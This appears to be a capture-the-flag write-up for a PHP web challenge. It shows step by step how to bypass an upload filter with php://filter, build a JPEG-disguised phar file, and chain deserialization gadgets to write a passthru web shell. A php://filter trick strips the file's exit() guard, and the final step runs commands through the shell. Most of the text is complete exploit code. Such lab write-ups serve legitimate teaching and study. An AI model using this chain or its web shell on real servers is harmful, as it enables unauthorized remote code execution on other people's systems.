Tags: deserialize php filter 

Rating: 5.0

TLDR: To complete this task you need to demonstrate phar deserialization and filter data corruption

You are given deployed html/php files and ip to the server.

Some of the important files / dir

/html
    - index.php (Read uploaded file)
    - old.php (We will use this as deserialization target)
    - upload.php (Upload file)
    - up/ (Uploaded files are placed here)

Before creating our malicious phar payload we need to check if we could trigger it. We could trigger phar deserialization by using phar:// wrapper on file manipulation function. Eg.

  • file_exists('phar://phar.phar') or file_exists('phar://phar.jpeg')
  • file_get_contents('phar://phar.phar') or file_get_contents('phar://phar.jpeg')
  • other functions like filesize, filemtime, is_readable, etc would also work
Index.php

...
 if (isset($_GET["img"])) {
     if(preg_match('/^(ftp|zlib|https?|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['img'])){
         die("no hack !");}

 $img=$_GET["img"].'.jpg';
 $a='data:image/png;base64,' . base64_encode(file_get_contents($img));
 echo "<img class='center' src='$a'>";

As shown in the code, preg_match stops program execution if phar:// wrapper exists in the beginning of the string. And since preg allow us to use php:// wrapper, we could trigger phar deserilization by using php://filter/resource=phar://phar.jpeg

After we know that phar deserilization is triggerable, we need to craft our payload. Because upload.php checks image size, we need to craft phar payload as jpeg file.

So first we need to create phar with jpeg header in it

phar_create.php
<?php

 $jpeg_header_size =
 "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
 "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
 "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
 "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
 "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
 "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
 "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
 "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
 "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
 "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
  $phar = new Phar("phar.phar");
 $phar->startBuffering();
 $phar->addFromString("test.txt","test");
 $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$phar->stopBuffering();

Run the above code will give you phar.phar as jpeg image with 10x10 size.

Our main goal is able to arbitrarily write php code in up/ folder.

old.php
 <?php
 error_reporting(0);

 class cl1 {

     protected $store;

     protected $key;

     protected $expire;

     public function __construct($store, $key = 'flysystem', $expire = null) {
         $this->key = $key;
         $this->store = $store;
         $this->expire = $expire;
     }

     public function cleanContents(array $contents) {
         $cachedProperties = array_flip([
             'path', 'dirname', 'basename', 'extension', 'filename',
             'size', 'mimetype', 'visibility', 'timestamp', 'type',
         ]);

         foreach ($contents as $path => $object) {
             if (is_array($object)) {
                 $contents[$path] = array_intersect_key($object, $cachedProperties);
             }
         }

         return $contents;
     }

     public function getForStorage() {
         $cleaned = $this->cleanContents($this->cache);

         return json_encode([$cleaned, $this->complete]);
     }

     public function save() {
         $contents = $this->getForStorage();

         $this->store->set($this->key, $contents, $this->expire);
     }

     public function __destruct() {
         if (!$this->autosave) {
             $this->save();
         }
     }
 }
 
 class cl2 {

     protected function getExpireTime($expire): int {
         return (int) $expire;
     }

     public function getCacheKey(string $name): string {
         return $this->options['prefix'] . $name;
     }

     protected function serialize($data): string {
         if (is_numeric($data)) {
             return (string) $data;
         }

         $serialize = $this->options['serialize'];

         return $serialize($data);
     }

     public function set($name, $value, $expire = null): bool{
         $this->writeTimes++;

         if (is_null($expire)) {
             $expire = $this->options['expire'];
         }

         $expire = $this->getExpireTime($expire);
         $filename = $this->getCacheKey($name);

         $dir = dirname($filename);

         if (!is_dir($dir)) {
             try {
                 mkdir($dir, 0755, true);
             } catch (\Exception $e) {

             }
         }

         $data = $this->serialize($value);

         if ($this->options['data_compress'] && function_exists('gzcompress')) {

             $data = gzcompress($data, 3);
         }

         $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
         $result = file_put_contents($filename, $data);
                 if ($result) {
             return true;
         }

         return false;
     }

 }

the only code that allow us to write arbitrary code is by calling set function in cl2 class.

But how could we create cl2 class and call set function while nothing such as set function is mentioned in any source codes? Well the answer is we could call create cl1 and cl2 class and call its function by using phar deserilization.

phar_create.php
 <?php

 $jpeg_header_size =
 "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
 "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
 "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
 "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
 "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
 "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
 "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
 "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
 "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
 "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

 error_reporting(E_ALL);

 class cl1 {}
 class cl2 {}

 $phar = new Phar("phar.phar");
 $phar->startBuffering();
 $phar->addFromString("test.txt","test");
 $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
 $cl2 = new cl2();
 $cl1 = new cl1("aaa", "bbb");
 $phar->setMetadata($cl1);
 $phar->stopBuffering();

By creating cl1 function and set it as metadata. cl1 class will be created and __destruct function will be called when php://filter/resource=phar://phar.jpeg is called.

phar deserialization could not only able to call __destruct and __wakeup functions, but also inject private,protected, public variable inside class.

By using this tricks, we could configure cl1 class to call set function in cl2 class

phar_create.php
 <?php

 $jpeg_header_size =
 "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
 "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
 "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
 "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
 "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
 "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
 "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
 "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
 "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
 "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

 error_reporting(E_ALL);

 class cl1 {}
 class cl2 {}

 $phar = new Phar("phar.phar");
 $phar->startBuffering();
 $phar->addFromString("test.txt","test");
 $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
 $cl2 = new cl2();
 $cl2->writeTimes = 0;
 $cl2->options = [
     "data_compress" => false,
     "prefix" => "",
     "serialize" => "strval",
     "expire" => 111111111111
 ];

 $cl1 = new cl1($cl2, "bbb.php"); // our RCE php file
 $cl1->store = $cl2;
 $cl1->key = "bbb.php";
 $cl1->autosave = false;
 $cl1->cache = [
     "<?php passthru(\$_GET['cmd']); ?>"
 ];
 $cl1->complete = 1;


 $phar->setMetadata($cl1);
 $phar->stopBuffering();

The above code will called file_put_contents('bbb.php', PAYLOAD) so that RCE could be executed.

Even if we could inject any code we want, a stopper written before writing our payload.

old.php
....
         $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
         $result = file_put_contents($filename, $data);
                 if ($result) {
             return true;
         }
...

So when we call http://url/up/bbb.php the php will be kinda like

<?php
//111111111111
exit();?>
<?php
your php code
?>

So it is impossible to call our php code without removing the exit stopper.

We could delete the stopper code by using PHP filter. (PHP filter is awesome :D) More about this see this presentation https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf

 <?php
 $c = "=3C=3Fphp passthru(\$_GET['cmd']); ?>";
 $content = "<?php\n//" . sprintf('%012d',111111111111) . "\n exit();?>\n";
 $content .= json_encode([[$c], 1]);
 var_dump($content);
 $file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./output;
 file_put_contents($file, $content);

When this code is executed, it will remove the exit function.

We could include this code in our phar_create.php and this is our final code

phar_create.php
 <?php

 $jpeg_header_size =
 "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
 "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
 "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
 "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
 "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
 "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
 "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
 "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
 "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
 "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

 error_reporting(E_ALL);

 class cl1 {}
 class cl2 {}

 $phar = new Phar("phar.phar");
 $phar->startBuffering();
 $phar->addFromString("test.txt","test");
 $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
 $cl2 = new cl2();
 $cl2->writeTimes = 0;
 $cl2->options = [
     "data_compress" => false,
     "prefix" => "",
     "serialize" => "strval",
     "expire" => 111111111111
 ];

 $cl1 = new cl1($cl2, "php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=/var/www/html/up/bbb.php");
 $cl1->store = $cl2;
 $cl1->key = "php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=/var/www/html/up/bbb.php";
 $cl1->autosave = false;
 $cl1->cache = [
     "=3C=3Fphp passthru(\$_GET['cmd']); ?>"
 ];
 $cl1->complete = 1;


 $phar->setMetadata($cl1);
 $phar->stopBuffering();

Rename the phar.phar to phar.jpeg, upload it and execute phar code in index.php with php://filter/resource=phar://IMAGE_ID. After that execute shell by going to http://URL/up/bbb.php?cmd=ls. The flag could be found on the / directory